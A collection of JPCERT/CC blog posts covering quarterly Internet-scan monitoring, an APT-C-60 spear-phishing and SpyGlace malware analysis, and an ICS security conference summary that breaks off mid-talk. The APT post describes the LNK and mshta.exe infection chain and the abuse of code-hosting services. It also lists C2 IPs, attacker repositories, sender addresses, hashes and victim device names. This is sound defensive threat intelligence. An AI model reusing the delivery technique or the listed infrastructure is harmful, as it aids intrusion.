JPCERT/CCブログ英語版

TSUBAME Report Overflow (Jan-Mar 2026)

2026-07-23T02:00:00Z

This TSUBAME Report Overflow series discusses observation trends from TSUBAME sensors both in Japan and overseas, as well as other topics not covered in the Internet Threat Monitoring Quarterly Report. This article covers monitoring results from January to March 2026.

Observation Trends Related to Japan in FY2025 (April 2025–March 2026)

JPCERT/CC analyzes data collected daily through TSUBAME. In this article, we review incidents and observation trends related to Japan based on data observed during FY2025. As noted in the Internet Threat Monitoring Report, the packets most frequently observed by TSUBAME are scans targeting 23/TCP. Some of the packets observed on 23/TCP exhibit characteristics associated with Mirai. Figure 1 shows the proportion of traffic with Mirai-like characteristics. At the beginning of FY2025, traffic associated with Mirai accounted for approximately 70% of the observed packets. However, changes began to emerge around June 2025, and by the end of the fiscal year, the proportion had declined to around 30%. Although the packets observed from around June 2025 onward did not exhibit Mirai-like characteristics, they were also generated by compromised devices. In addition to differences in packet characteristics, the targeted IoT devices also differed from those targeted by Mirai.

Figure 1: Trend in the number of source hosts in Japan sending packets to 23/TCP

Figure 1: Trend in the number of Mirai-like sources observed on 23/TCP from Japan

The following device types were notably observed among devices originating from Japan between June 2025 and the end of March 2026: From June to July 2025: An increase in sources without Mirai-like characteristics was observed from devices such as surveillance cameras, DVRs, and NAS devices manufactured by overseas vendors. From mid to late July 2025: In addition to the DVRs and NAS devices mentioned above, increases were also observed from devices such as broadband routers manufactured by Japanese vendors. From September to mid-October 2025: Sources without Mirai-like characteristics increased primarily from Korean-made DVR products and Chinese-made routers. From October 2025 to the end of March 2026: Such sources increased almost exclusively from overseas DVR products.

IP addresses associated with Mirai-like scanning activity were also observed communicating over ports other than 23/TCP. This suggests that the scans were targeting Internet-accessible services and known vulnerabilities associated with specific products.

Based on insights gained from these observations, JPCERT/CC shared information on Mirai-related attack trends with domestic product developers and telecommunications operators, while also discussing possible countermeasures with them. When connecting devices such as routers to the Internet, it is essential to take appropriate precautions to prevent them from becoming infected with Mirai and contributing to the growth of botnets. Users should be aware that Internet-connected devices may be accessible to attackers and ensure that they are running the latest firmware and configured securely. After deployment, we also recommend performing port scans or using services such as SHODAN to verify that unnecessary services are not exposed to the Internet.

JPCERT/CC expects continued attacks targeting specific products, as well as the emergence of suspicious packet sources. We will therefore continue to investigate IP addresses originating from Japan and share observation data and analysis results with product developers and telecommunications operators to support mitigation efforts.

Comparison of the observation trends in Japan and overseas

Figure 2 shows a monthly comparison of the average number of packets received in Japan and overseas. Overseas sensors received more packets than domestic sensors. A temporary decrease was observed in February across both domestic and overseas sensors, but observation counts in March returned to levels comparable to those seen in January.

Figure 2: Monthly comparison of the average number of packets received in Japan and overseas

Comparison of monitoring trends by sensor

Each sensor is assigned a unique global IP address. To examine differences in observation trends among sensors in Japan, North America, Europe, and other regions, Table 1 summarizes the top 10 destination ports observed by each sensor. 23/TCP was the most frequently observed port on the majority of sensors, although some sensors observed higher traffic on 443/TCP. This suggests that scanning activity targeting these ports is being conducted across a wide range of networks.

Table 1: Comparison of top 10 packets by domestic and overseas sensors

	Japan #1	Japan #2	North America #1	North America #2	Europe #1	Europe #2	Other regions #1	Other regions #2
#1	23/TCP	23/TCP	443/TCP	23/TCP	23/TCP	23/TCP	ICMP	22/TCP
#2	22/TCP	ICMP	23/TCP	80/TCP	443/TCP	443/TCP	23/TCP	443/TCP
#3	80/TCP	22/TCP	80/TCP	443/TCP	8728/TCP	22/TCP	443/TCP	23/TCP
#4	443/TCP	80/TCP	ICMP	8080/TCP	ICMP	80/TCP	80/TCP	8728/TCP
#5	ICMP	443/TCP	22/TCP	ICMP	22/TCP	ICMP	8728/TCP	80/TCP
#6	8080/TCP	8080/TCP	8728/TCP	22/TCP	80/TCP	25/TCP	22/TCP	ICMP
#7	3389/TCP	3389/TCP	8080/TCP	8443/TCP	8080/TCP	3389/TCP	8080/TCP	445/TCP
#8	8728/TCP	8728/TCP	3389/TCP	8728/TCP	3389/TCP	8080/TCP	3389/TCP	8080/TCP
#9	5555/TCP	5555/TCP	8443/TCP	445/TCP	8443/TCP	8728/TCP	8443/TCP	3389/TCP
#10	2222/TCP	2222/TCP	3000/TCP	3389/TCP	3000/TCP	445/TCP	3000/TCP	3000/TCP

In closing

Monitoring at multiple locations enables us to identify whether certain changes are occurring only within specific networks. Although no unusual activity requiring an extra issue or special alert was observed this quarter, it remains important to continue monitoring scanning activity closely. We will continue to publish quarterly blog articles on Internet threat monitoring trends and provide additional reports when significant changes are observed. We welcome your feedback on this series. Please use the comment form below to let us know which topics you would like us to cover in future articles. Thank you for reading.

Keisuke Shikano

(Translated by Takumi Nakano)

Update on Attacks by Threat Group APT-C-60 in 2026

2026-07-13T04:15:00Z

In our previous two blog posts (Dec 2024, Nov 2025), we discussed attacks carried out by APT-C-60 against organizations in Japan. JPCERT/CC has continued to observe similar attack activity. In the attacks covered in this article, we observed several changes in the initial access techniques and attack infrastructure used by the threat actor. This article focuses on the attack flow of APT-C-60 activity observed in 2026.

Initial Access Method

Figure 1 shows the overall attack flow. In the case we observed, the spear-phishing email contained a Proton Drive link, which was used to lure the victim into downloading a RAR file from Proton Drive. When the RAR file is extracted, it contains files including an LNK file. Once the victim opens the LNK file, the subsequent infection process is executed. We have also confirmed a similar case in which the malicious file was attached directly to the email, without using Proton Drive as an intermediary.

Figure 1: Initial access flow

Behavior of the LNK File

When executed, the LNK file used during the infection copies itself and then uses mshta.exe to execute JavaScript embedded within the LNK file. As shown in Figure 2, the LNK file contains JavaScript code, which is called after the LNK file is executed. This allows the threat actor to use a legitimate Windows program while carrying out processes that lead to the retrieval and execution of subsequent payloads.

Figure 2: JavaScript code embedded in the LNK file

Figure 3 shows the infection flow after the LNK file is executed. Although the JavaScript code embedded in the LNK file is obfuscated, it performs the following main functions:

Downloads the file contributing[1].txt from jsDelivr
Searches for, decodes, and extracts the downloaded contributing[1].txt file
Uses the legitimate git.exe located in the extracted folder to execute a script in the same folder

Figure 3: Infection flow after execution of the LNK file

Figure 4 shows the executed script. The script creates and executes a downloader by combining .db files located in the extracted folder. The downloader accesses legitimate sites such as GitHub, downloads additional downloaders and loaders, and executes them. The technique of executing scripts using git.exe, as well as the persistence method, was also observed in attacks in 2024 and 2025, and the same techniques were used in this attack. For details, please refer to our previous two articles (Dec 2024, Nov 2025).

Figure 4: Contents of the script

Legitimate Services Used as Attack Infrastructure

As in previous cases, multiple legitimate services were used as access destinations for the executed downloader. In the 2025 attacks, GitHub and Bitbucket were used. However, in the 2026 attacks, we confirmed that GitLab, jsDelivr, and Codeberg, in addition to GitHub, were abused as attack infrastructure. By using legitimate services, the threat actor may be attempting to make communications and downloads appear to be normal access. In particular, developer-oriented services and CDNs are often allowed in corporate environments, which makes it difficult to detect or block the activity based solely on the communication destination. The downloader ultimately downloads and executes malware called SpyGlace from these legitimate services. In this attack, we observed SpyGlace versions v3.1.15, v3.1.17, and v3.1.18, but did not identify any major functional differences compared with earlier versions.

In Conclusion

In the SpyGlace attack observed in this case, we confirmed the use of Proton Drive for file distribution, an LNK file contained in a RAR archive, JavaScript execution via mshta.exe, and the abuse of legitimate services such as GitHub, GitLab, jsDelivr, and Codeberg. These attacks may be difficult to detect because they abuse legitimate services and standard Windows functionality. Users should remain vigilant and avoid opening cloud storage links in suspicious emails or LNK files contained in archives such as RAR files. The IoCs, including the C2 servers and file hashes we confirmed, are listed in the Appendix.

Yuma Masubuch
(This article was machine-translated and manually reviewed.)

Appendix A: Network IoCs (SpyGlace C2 Infrastructure)

31.58.136[.]207
154.18.239[.]209
173.234.11[.]141
185.18.222[.]241
213.111.158[.]200
213.111.158[.]201
213.111.158[.]216

Appendix B: URLs of Legitimate Services Used by the Attacker

https[:]//c.statcounter[.]com/13178005/0/7f3c2735/1/
https[:]//cdn.jsdelivr[.]net/gh/mei1990789/class125/

Appendix C: IoC Files

Table 1: List of IoC Files

Content	Filename	Hash（SHA256）
Downloader1	iconcache.dat	48bb091e0cab562fe094e0ef6a77b434dba97380c09a707220cbd9ca37999484
Downloader1	iconcache.dat	5e97848bebf521766910d9c8378e98bf7aa1ce4b06aeb6c3f86c31ababbe9663
Downloader1	iconcache.dat	60972abf5425c191c81bae117f1dedaea13d39bc52f367d5dff9ad1aa4b9c5ca
Downloader1	iconcache.dat	71819a1b856b49e7f194ce60468ed8e5ea925c75d01484f4d28ffcf69d480b36
Downloader1	iconcache.dat	83a22d4f61b054bda53a2ea4f506e97d818c7c961d8cd3975c1f2a51443cf95c
Downloader1	iconcache.dat	866564bb455bb3c9f3e15cbbc1dcaf75c533a224eb96c4b6d6739e114ee1d065
Downloader1	iconcache.dat	cc2a6a3b4b771aba341293d2321e5f7b70cf517403fe44a58635b043e8868bdb
Downloader1	iconcache.dat	fa53663bfb80e197483e1a1bf123b94fa869e2d7f42b5fdfbff2869589b65a05
Downloader2	Cached2014.tmp	6b84eab2aac7754b99d04365a83ec374e3cea99cc3223118a5f8fd545a8483e5
Downloader2	Encoded_File.tmp	0bda4beded9c2923fe16f20b7cbd7baf1a5b7078be5cde715592529a974f9bd9
Downloader2	Encoded_File.tmp, inst.tmp	a7981dfccd8e4bdc00133dc15b22472c1677d6270826863caa36e7d58ef50de0
Downloader2	a101.dat	1b25c3d56fdb195b427a9c3bfc1f0e98e77a15322e8d3fc53a18edcc4891847f
Downloader2	iconcache.dat	119ad3dce05b5ef3db5a76655ac050eac51e318f1f31351ac103693a0a849158
Downloader2	item.tmp	0420fd9e5f9961458604909391fb0f1a353c17c986b55fc5722c1b68e41865df
Downloader2	item.tmp	2952d72ad1d44f3d424600b8fa4076794e2e072ab46936012a5fb872c67ce189
Downloader2	job.tmp, akdjfiwnkd.tmp	3f2f69a8403e6b4e02ebe65448caf6abb8e2fbd1f7636ec71599f2d2d5fac8fb
Downloader2	newjob.tmp	a9fd615fce38756ba6de8994f200e4b846397648138a9a0e6ef3b5952ef5e68c
Downloader2	reaconinst.tmp	a4c8a56070fe6f613e79a14554d0a1dba2f70ce2b93319e72972943cc66edf4a
Downloader2	wincfg.db, Cached.tmp	c4768d99445128c670a6f848bc69371872e4d6a2160dbe0073e62ffd786c94ee
Install Script	msdic.log	7aa76237a7686583cc526b9d1a8486a52bd44a448d75ced51e1df4ba29ddb163
Install Script	msdic.log	d567af55c97b7a595fcde5082e37a752718044230c16704e24efb43025bed0c2
JS File	basecode.dat	14d799f7897d25f7cfb4d1c86f43c791b6d778d2efd92b5fac4f65fc472bf501
JS File	basecode.dat	16bdde15cbf9190883c146bab495c8be73daff4fff5ffbf86b4ee46847103fba
JS File	call1.js	8114e3f213713dbbbacafcd0f62884a7826139b434bb3c77eae8dce656477621
JS File	call2.js	ab5aba292c983db324987e9fde2e01fe24a979d1587888fcc7460c9489c54ee0
JS File	call3.js	b5458541732f91793ef89cc58ec5e46d04bf43985ab4e6dc5ad10b6da21581ec
JS File	call4.js	e6a414a53206e25d061a11e63c7d381ab0eb80cd3d174bd13551e2c36f8b5c04
JS File	call41.js	1ae423e91f6cd679f9ea5be879b07379633b05cd850c37a8a65cdeaf508d097e
JS File	close.js	7900c2772680523cadc9fe4e07300d45500191ba64ff5b91573531b133840b14
JS File	close.js	94072d60170fc72a528f68b2b3826638dbb7283c8906e8051f53fe16eaf054f8
JS File	close.js	ad1c890f458b94683464c4d6d6d41fe63551c2c06ba2a1b8f71d8acb6ab16de3
JS File	close.js	ffe5853d19be1acfe12bd681c7390d8fa88534a471020e6866a9e7c37d01fea2
JS File	help.dat	62a879b0d1c1649cc72b2b6f61a8f6bd888625ce6e8a7aefe0a0461e4f27c525
JS File	help.js	0bf85d9065feb20ee946acf77c985cc7ec78de048ee41d8c5931e0e88873efaa
JS File	help.js	21ddfbf726caa6d0f32a6bbce8e619f75c81f884bca48564c7a0e5a84bf4bd39
JS File	help.js	2c98781e39a091b370ebd748b495c45752b2c54cdf2c36814358c8c6bd3ae912
JS File	help.js	5272917261d7091a59e00f9d09cd7eb1d3e111115a5b367f79a66d0d7c7b01f4
JS File	help.js	78c108be692f1c45ed1da1988e3c5ac792c832a78d0b6e8e6550763156fe8f97
JS File	help.js	9706ee93f9b4b8214293e2ca4a68525eccaacfea58b135dcb2ea661a099ee9e6
JS File	help.js	a1f0e6a30dc9753c5cbc80fd9df50eb44aee5a2349223b915b758af746275320
JS File	help_v3.js	3b7a80fc62eb8b248fd0be0d94c78f1efe2f510499c68865a6d0c4ead6bc4055
JS File	help_v4.js	a9287e3452ab09144120ecdd20ed7365de589d5dcad28dcd8e191742d1ce5744
JS File	help_v5.js	5ab41cf20315d2ea1385967d588159873a65ef5581a0b78de06c0d8617894194
JS File	index.js	131d8f72fde45c5ca1f662c510c3da16fbcd8ff6ef9b9fd893c25a9c8e8ec205
JS File	test.dat	7d09891e26d56a8bec44c3fe9a5791f3a93e8fa31539951ae6e2c40af83ba42d
LNK File	desk.lnk	2d8def39b76ca17b419e5084832105c0167a171fdcc14eebd0c872ccb7bf9b0c
LNK File	desk.lnk	fd0c7713520bd19c3e2566e93696532aa7da39a0c5ce1a797b67ce777b56d395
LNK File	idx2.lnk	899ce01e7313f4c1cfcf07cb2456282ded1d6b6c57286762f2914a9d60de0146
LNK File	information.lnk	fa98deb16bd72f2f77349c8c24de674a007a3d1ec8e88dd590791a57c08ab8f6
LNK File	ipo6.lnk	44a4ac119349f525d877728b53fe38453a516881d577679caf08ab69312a695f
LNK File	利権癒着の具体的内容.lnk	5c3d820e032592f47ffb4850ae0183749199b3e0dca3413cd0c3cb631e322f1b
LNK File	desk.lnk	2d8def39b76ca17b419e5084832105c0167a171fdcc14eebd0c872ccb7bf9b0c
LNK File	desk.lnk	fd0c7713520bd19c3e2566e93696532aa7da39a0c5ce1a797b67ce777b56d395
LNK File	idx2.lnk	899ce01e7313f4c1cfcf07cb2456282ded1d6b6c57286762f2914a9d60de0146
LNK File	information.lnk	fa98deb16bd72f2f77349c8c24de674a007a3d1ec8e88dd590791a57c08ab8f6
LNK File	ipo6.lnk	44a4ac119349f525d877728b53fe38453a516881d577679caf08ab69312a695f
Loader	0311_2nd_sdll.dat	5115277eabf2d22d49dcef1e155874387d8e783853bd86debf7ff58588aae35d
Loader	Encoded_File.tmp	2b650e2e2c46a52378aee70fbaff1ce5e832c759c5f937532047f52500428c4d
Loader	Encoded_File.tmp	8a8cabe5f94e7f4c0ccca97f0c361618ec944df03d8b3bfcfdd76a25dd8f7a5a
Loader	Encoded_File.tmp, sta.tmp	f0af281623b422c1d45e7006d78678762341288c05abcb62648ce55c6b63acb6
Loader	Encoded_File2.tmp	8ba3997afa07ac60312edf5f2d16357d1532a140081d638a9e4653768026ac56
Loader	sDll_jj.dll	86ab5161f761822d16637d4d34b84ca6e1f66cea905aa27510620c9cf5f170d8
Loader	sdll.tmp	843c4dc402e96ed72d7716d980c99e5dfa222a2a322250b7c3755a00d142bc1f
Loader	sdll.tmp	9a19598ea286d5f6fa0b7ff981ba21aff503fb217757f4dfbd496ead01805543
Loader	sdll.tmp	e8514a2372172b4975f77bf69d5e8b7708cfa60157b064fcab13d7a62a99cc55
Loader	sdll2.tmp	248ded4723e9f5da793e5e42d1ba7c2293dd704718f149b84b3b9b818a1f51db
Loader	sdll3.tmp	3c509ec732979d8c91009d2c9f898bea81f3fc4064c3c56576257f61f9bfaaee
Loader	sdll3.tmp	55640ad319208915593db8ad43724dddf6e6e17fc6b0014affa69c90f5cd1eb4
Loader	sdll3.tmp	c1faaff24d58af798c77d34405379df0a9e883e5bd1100a86d4c3e001414acd8
Loader	sdll3.tmp	f50a01ae446adfcaaddffe215abd94b5643211e83d52acf5de540abf9fb26045
Loader	test1.txt	6cdc895eda4847f700d6f82fa2e3a8c72c10da1e16455985df855372142ebbd8
Part of Downloader	TMI003.db	d14214e95c9d1ea850e508dfe27928494f2155a7597e4ea0bad9f70690abb397
Part of Downloader	TMI100.db	131c27c3dce040979044ac1d363050c5d226af76aef1454bbf87c7193f8fc747
Part of Downloader	TMI100.db	1aaf59f05bb724d501cc9bcd6642ab8fd7347cf274d46c24719c9dced9b22bea
Part of Downloader	TMI100.db	22de84e8f29cba932cf65cf4dc1d333cb8b2e468204f97030712bee32691ac3b
Part of Downloader	TMI100.db	3e2bc0bd2eb84282086cc5946673b22414a16e982402f1f05ea57059d2962588
Part of Downloader	TMI100.db	43d597783af656a35184021f5e20686896463a1712f9216e0217a2ca740e3935
Part of Downloader	TMI100.db	50ebf107d522326c9a9db8821fe3263aa5136964faaf5dd183657bbb52725f84
Part of Downloader	TMI100.db	afca3bb9fb8d7a4ab4ceb9707f6d9a17352ccfb8ece83c68b01fbb419818e2fc
Part of Downloader	TMI100.db	deba513e2dc52a2931e61f5ac6d550a7938c1f7f63f661867c09d6141ee98560
Part of Downloader	TMI210.db	18683bba19695d325372d195634afd2f76b14896ba68225ba51ea5a039f2f76d
Part of Downloader	TMI210.db	45b2ba7c7a39817e1421f2abe2f869fa16af9651a6c863ac59683268fb391fe6
Part of Downloader	TMI320.db	555360fb918b959176d669ef0ed40ec0b5ee57005fc625109891a16d02952462
Part of Downloader	TMI320.db	771a47120b935e218322046e838347d722d265b91f1afdef91194a5bec86a97a
Part of Downloader	TMI400.db	002e1207b96361fc4d53b10621225d61700003241fa38caacb411384b3d51135
Part of Downloader	TMI400.db	0120a6396952aec3f05ec0b0efe25e2a1b73545d55d74a3ac0bcd359d29f52bb
Part of Downloader	TMI400.db	23b37d2ebe683cec3b145b6f2234ee728b99228cf3774399fcfad9502daab9a9
Part of Downloader	TMI400.db	7b297f18ece81e87608e158288cc9c06cb9f4a8f1b2d2256aecf7bba8d7be2ab
Part of Downloader	TMI400.db	8f08ead23767e1e4389927c40af167122b477ad17a98d388c863342dc9259c5e
Part of Downloader	TMI400.db	9789d80077998010c47a6a02ef1241eab11b69d667de8751b1e93fed6df913eb
Part of Downloader	TMI400.db	a18b5a78143f004f33aafad998b518ad9ee4dbdec44817a6e9b570e727d3e22c
Part of Downloader	TMI400.db	a8bee6c4a5860b0ae08a984d2a6d62c13d3e91d9514262998924d2e0cef88f7c
RAR File	具体的内容.rar	151b2dc70d141c12a33d8e45a80659fc53a71734e27233326bff150ac87744ea
SpyGlace v3.1.15	Encoded_File.tmp	e5f2c7068ade7b87d24c3b94bc749c351d53609f5fcaa48dce06234beaa2444f
SpyGlace v3.1.15	sdll.tmp	9394627e9c44cf2226ddf50012e5cf47ccf7d3bd8afa2395c635a93637e23502
SpyGlace v3.1.15	sdll.tmp	add013bf7ffc8a89789a7fd0ae0ff799c620af9b2755b214880b6a56768fd48c
SpyGlace v3.1.15	sdll.tmp	c86f319f64d25f23ac29d9b53c9764f06a150634ee8e2d836424d460e5a99b52
SpyGlace v3.1.17	test2.txt	669002654c264191d4660fbf757860d930175649735f81370b9f1af3658a304c
SpyGlace v3.1.18	test2.txt	3f67b777660241a1afc39f2ec388cac933a9eb31b3a34bddd12e39e663f1b566
SpyGlace v3.1.18	test2.txt	7c3d0bebd263d3529132f2299de55a7801bf3ff40c833b13838be7a98ea3475e
SpyGlace v3.1.18	test2.txt	86c49174a032ebbba6aeb1541e2aa84da0933b2eac3976f8705451c13bc7f325
SpyGlace v3.1.18	test2.txt	b3f0d48506ff868ba145c9dcad7622bc37b723155648053ce2e2e73d8ea30e93
SpyGlace v3.1.18	test2.txt	c9295c923da64738b93ff1827a39a5cb8f6c71eab060de416c8175a4a67da524

Appendix D: Spear-Phishing Email Senders

asako.t1011@protonmail.com
ayuko0328@protonmail.com

Appendix E: Attacker Management Repository

https[:]//github[.]com/mei1990789/class125
https[:]//github[.]com/sapphire679/tblsesarol/
https[:]//github[.]com/sapphire689/dnaluakxit
https[:]//github[.]com/wanib11399/zjeqopmfit
https[:]//github[.]com/cafes39636/ngwtaepesf
https[:]//github[.]com/rapefo2905/rncprjmauw
https[:]//github[.]com/hexif45133/yedkatinrc
https[:]//github[.]com/jewexo9791/archibkyof
https[:]//github[.]com/lowege1212/izrtysherg
https[:]//github[.]com/gixop88415/glfhvhtzih
https[:]//github[.]com/kapap40675/fpqtzyofdl
https[:]//github[.]com/cefobe3574/kojyyvtkqo
https[:]//github[.]com/vogenoc114/qlofnsayvl
https[:]//github[.]com/bohihef411/tuikfwoveb
https[:]//github[.]com/waxiyes819/dymcdbqqen
https[:]//github[.]com/fehijow850/uywcrcvlnb
https[:]//github[.]com/yefixi3890/krbgqbmlho
https[:]//github[.]com/williams250666/bluenote554
https[:]//gitlab[.]com/sapphire689/dnaluakxit
https[:]//gitlab[.]com/cafes39636/ngwtaepesf
https[:]//gitlab[.]com/rapefo2905/yedkatinrc
https[:]//gitlab[.]com/lowege1212/eboralfotj
https[:]//gitlab[.]com/kapap40675/fpqtzyofdl
https[:]//gitlab[.]com/vogenoc114/qlofnsayvl
https[:]//gitlab[.]com/waxiyes819/dymcdbqqen
https[:]//gitlab[.]com/yefixi3890/krbgqbmlho
https[:]//codeberg[.]org/ochi_ma992/3tv9239irfn83
https[:]//codeberg[.]org/meca922199/ertlokefgpokjper2359
https[:]//codeberg[.]org/Hamilton385673/eff88e889w33456

Appendix F: Email Addresses Used for Commits

sapphire679@proton.me
sapphire689@proton.me
meimei91@protonmail.com
rapefo2905@outlook.com
jewexo9791@outlook.com
legDevMachine@protonmail.com

Appendix G: Victimized Devices Identified from the GitHub Repository (Volume Serial Number and Computer Name)

1510781397@DESKTOP-CJU6TU7
1785033524@2024NOTEBOOK
2264373920@DESKTOP-S9E6ADG
2419945818@BD1
2428126365@SDI-WIN
242922728@DESKTOP-5K5ICQ5
2590771213@DESKTOP-LAVUNRP
317267226@DESKTOP-V1R49JC
3290476432@DESKTOP-J734R21
3362573326@DESKTOP-43R2GH0
3386414762@DESKTOP-MKV3QN0
3629482019@DESKTOP-8UM79S5
3704188960@DESKTOP-D1Q1I0J
3836479251@ADMIN-PC
409023259@JAY-PC
4127454498@DANY-LAPTOP
4166053503@LAPTOP-JHA4UD2S
582552893@LV
1409377236@DESKTOP-6OND78S
2283291050@DESKTOP-9CPEB4D
2590772946@DESKTOP-GL14J4L
3159231749@DESKTOP-SS0PND9
4166214414@DESKTOP-B9JE10V
840033591@DESKTOP-DBNHUR7

TSUBAME Report Overflow (Oct-Dec 2025)

2026-05-14T04:30:00Z

This TSUBAME Report Overflow series discuss monitoring trends of overseas TSUBAME sensors and other activities which the Internet Threat Monitoring Quarterly Reports do not include. This article covers the monitoring results for the period October to December 2025.

Suspicious Packets Originating from DVR/NVR Devices

A review of the number of hosts in Japan sending traffic to Telnet (23/TCP) shows a temporary spike in October, followed by a downward trend beginning around November 7 (Figure 1).

Figure 1: Trend in the number of source hosts in Japan sending packets to 23/TCP

However, a closer look at the sources indicates that many of these connections appear to originate from specific groups of DVR/NVR devices. On some days, these devices accounted for roughly 80% of the total, suggesting that a considerable number of such devices are still actively communicating with external networks. Below are examples of login screens observed from these device groups (Figures 2–5).

Figure 2: Example of a device likely to be a DVR/NVR product

Figure 3: Example of a device likely to be a DVR/NVR product (2)

Figure 4: Example of a device likely to be a DVR/NVR product (3)

Figure 5: Example of a device likely to be a DVR/NVR product (4)

Some of these interfaces display outdated copyright years (e.g., 2014), which suggests that firmware may not have been updated for a long time. Devices in this state may still contain known vulnerabilities, making them more susceptible to attacks from the Internet. If you are using similar devices, we recommend checking whether they fall into this category and taking this opportunity to ensure that firmware updates are properly applied.

Comparison of the observation trends in Japan and overseas

Figure 6 is a monthly comparison of the average number of packets received in Japan and overseas. Overseas sensors received more packets than those in Japan. Additionally, a gradual upward trend was observed from October onward across both domestic and overseas sensors.

Figure 6: Monthly comparison of the average number of packets received in Japan and overseas

Comparison of monitoring trends by sensor

Each sensor is assigned a single global IP address. To examine differences in monitoring trends among sensors in Japan, North America, Europe, and other regions, Table 1 summarizes the top 10 destination ports that received packets. Although the rankings vary by sensor, ports such as 22/TCP, 23/TCP, 80/TCP, 443/TCP, and 8080/TCP were observed by almost all sensors. This suggests that scanning activity targeting these protocols is being conducted across a wide range of networks.

Table 1: Comparison of top 10 packets by domestic and overseas sensors

	Japan #1	Japan #2	North America #1	North America #2	Europe #1	Europe #2	Other regions #1	Other regions #2
#1	23/TCP	23/TCP	443/TCP	23/TCP	23/TCP	23/TCP	443/TCP	23/TCP
#2	80/TCP	ICMP	ICMP	22/TCP	8080/TCP	8080/TCP	23/TCP	443/TCP
#3	443/TCP	80/TCP	23/TCP	443/TCP	443/TCP	443/TCP	8728/TCP	8728/TCP
#4	8080/TCP	443/TCP	80/TCP	8728/TCP	3389/TCP	ICMP	ICMP	80/TCP
#5	22/TCP	22/TCP	8728/TCP	3389/TCP	80/TCP	80/TCP	80/TCP	ICMP
#6	ICMP	8443/TCP	22/TCP	80/TCP	22/TCP	3389/TCP	22/TCP	22/TCP
#7	8728/TCP	8080/TCP	3389/TCP	ICMP	ICMP	22/TCP	3389/TCP	3389/TCP
#8	3389/TCP	8728/TCP	8080/TCP	8080/TCP	8728/TCP	445/TCP	8080/TCP	8080/TCP
#9	81/TCP	3389/TCP	8443/TCP	8443/TCP	445/TCP	8728/TCP	8443/TCP	8443/TCP
#10	5555/TCP	5555/TCP	6379/TCP	2222/TCP	1433/TCP	8443/TCP	2222/TCP	2222/TCP

In closing

Monitoring at multiple locations enables us to determine if certain changes are occurring only in a particular network. Although we have not published any special alerts as an extra issue or other information this quarter, it is important to pay attention to scanners. We will continue to publish blog articles as the Internet Threat Monitoring Quarterly Report becomes available every quarter. We will also publish an extra issue when we observe any unusual change. Your feedback on this series is much appreciated. Please use the comment form below to let us know which topic you would like us to introduce or discuss further. Thank you for reading.

Keisuke Shikano

(Translated by Takumi Nakano)

ICS Security Conference 2026

2026-04-14T06:00:00Z

JPCERT/CC held the ICS Security Conference 2026 on February 10, 2026. This conference aims to share the current threat landscape surrounding Industrial Control System (ICS) in Japan and abroad, as well as initiatives undertaken by stakeholders in ICS security. It also seeks to help participants strengthen their security measures and establish best practices. Since its launch in 2009, the conference has been held annually, and this year marked the 18th conference.

This year’s conference was held as an in-person only event, with 137 attendees participating out of 216 registrants. In this article on JPCERT/CC Eyes, we introduce the opening and closing remarks along with six presentations delivered at the conference. Presentation videos, except for the panel session, are available on YouTube, and links are provided in this article.

Opening remarks

Speaker: Katsukuni Hashimoto, Director, Cybersecurity Division, Ministry of Economy, Trade and Industry (METI)
<Slides (Japanese)>
<YouTube (Japanese)>

The conference opened with remarks from Mr. Hashimoto of METI’s Cybersecurity Division, Commerce and Information Policy Bureau.

Referring to the IPA’s Top 10 Information Security Threats 2026 and related developments, Mr. Hashimoto noted that ransomware remains a major threat and that its impact continues to expand, particularly in the manufacturing sector.

He also introduced recent policy developments in Japan, including the establishment of the SCS scheme to raise the baseline of security measures across the supply chain; the formulation of OT security guidelines for semiconductor device factories; the launch of JC-STAR (labeling scheme based on Japan Cyber-Security Technical Assessment Requirements) and moves to incorporate it into government procurement requirements; and Japan’s endorsement of international joint guidance on SBOM.

In closing, he emphasized that, in light of the enactment of legislation to strengthen cyber response capabilities, it is essential to advance the development of an active cyber defense framework through public-private cooperation in order to protect the industrial base and people’s daily lives. He concluded by stressing the importance of steadily advancing effective initiatives across society as a whole.

ICS Security Today and Tomorrow - A Review of the Past Year

Speaker: Toshio Miyachi, Expert Adviser, JPCERT/CC
<Slides (Japanese)>
<YouTube (Japanese)>

Mr. Miyachi reviewed the state of ICS security in 2025 and explained major trends and changes over the past year. At the outset, he noted that 2025 marked 15 years since the discovery of Stuxnet and 10 years since the Ukraine power outage incidents. Against this backdrop, he provided a broad overview of how growing geopolitical tensions are increasingly affecting cyber space as integration between ICS and IT continues to deepen.

Looking at incidents over the past year, ransomware remained a persistent threat, with especially serious impacts in manufacturing, including production shutdowns sand shipment delays. Using cases involving a UK automotive manufacturer and major Japanese companies, he highlighted the structural risk whereby compromises in IT environments can ultimately have major consequences for OT and production activities. He also discussed attacks by state-sponsored actors and hacktivists targeting critical infrastructure, as well as incidents involving renewable energy facilities, dams, and hydroelectric power plants, showing that cyber attacks with physical consequences are becoming increasingly realistic.

Regarding vulnerability trends, he pointed to the growing number of ICS-related advisories published by CISA and reports indicating an increase in Internet-exposed ICS/OT devices. He also touched on confusion surrounding the operation of the CVE Program and emerging efforts in Europe to establish a new vulnerability database, noting that global vulnerability information management is entering a period of transition.

He further reviewed developments in regulations and standards, including the EU’s NIS2 Directive, revisions to the IEC 62443 series, and progress related to CIRCIA in the United States. At the same time, he noted that policy developments in various countries and organizational instability affecting CISA in the United States are having an impact on ICS security. He also addressed challenges posed by rapidly advancing technologies such as AI and migration to post-quantum cryptography, underscoring the importance of preparing long-lived ICS environments for these changes.

Overall, while 2025 did not appear to be a year marked by frequent large-scale destructive attacks, he concluded that significant changes are steadily unfolding, suggesting the arrival of a new era: the broader spread of ransomware, the security implications of escalating interstate tensions, the reorganization of standards and institutional frameworks, and the need to respond to emerging technologies.

Learning Incident Response for ICS from the “Preparedness” Factories Have Practiced for Decades

Speaker: Shunsuke Kato, Senior Solution Engineer, Claroty Ltd. APJ Sales.
<Slides (Japanese)>
<YouTube (Japanese)>

Mr. Kato looked back on recent OT security incidents and explained how the concept of “preparedness,” long cultivated in factories, can be applied to cyber incident response.

He explained that roughly 80% of incidents are IT-originated “indirect OT outages”: even when control itself is not destroyed, operations can still be halted by disruptions to dependent IT systems.

He then explained that concepts long applied in factories at the design, implementation, and operations stages, such as inherently safe design, redundancy, and fail-safe mechanisms, can also function effectively against cyber attacks. He illustrated this point using examples such as the TRITON incident. He further shared concrete examples, including the Fukushima Daiichi nuclear power plant accident and cases from overseas manufacturers, illustrating how businesses were able to continue operations even when digital capabilities were lost by relying on non-digital means such as paper records, human senses, and manual operations.

